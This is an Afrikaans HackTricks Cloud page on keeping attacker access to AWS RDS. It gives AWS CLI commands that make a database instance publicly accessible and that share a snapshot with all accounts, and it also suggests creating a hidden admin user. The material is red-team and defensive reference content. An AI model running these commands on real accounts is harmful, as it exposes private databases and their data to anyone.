AWS - RDS Persistence

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Rooi Span Ekspert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Rooi Span Ekspert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

RDS

Vir meer inligting, kyk:

AWS - Relational Database (RDS) Enum

Maak instansie publiek toeganklik: rds:ModifyDBInstance

'n Aanvaller met hierdie toestemming kan 'n bestaande RDS-instansie wysig om publieke toeganklikheid te aktiveer.

aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately

Skep 'n admin gebruiker binne die DB

'n Aanvaller kan eenvoudig 'n gebruiker binne die DB skep sodat selfs al word die meester gebruiker se wagwoord gewysig, hy nie die toegang tot die databasis verloor nie.

Maak 'n snapshot publiek

aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.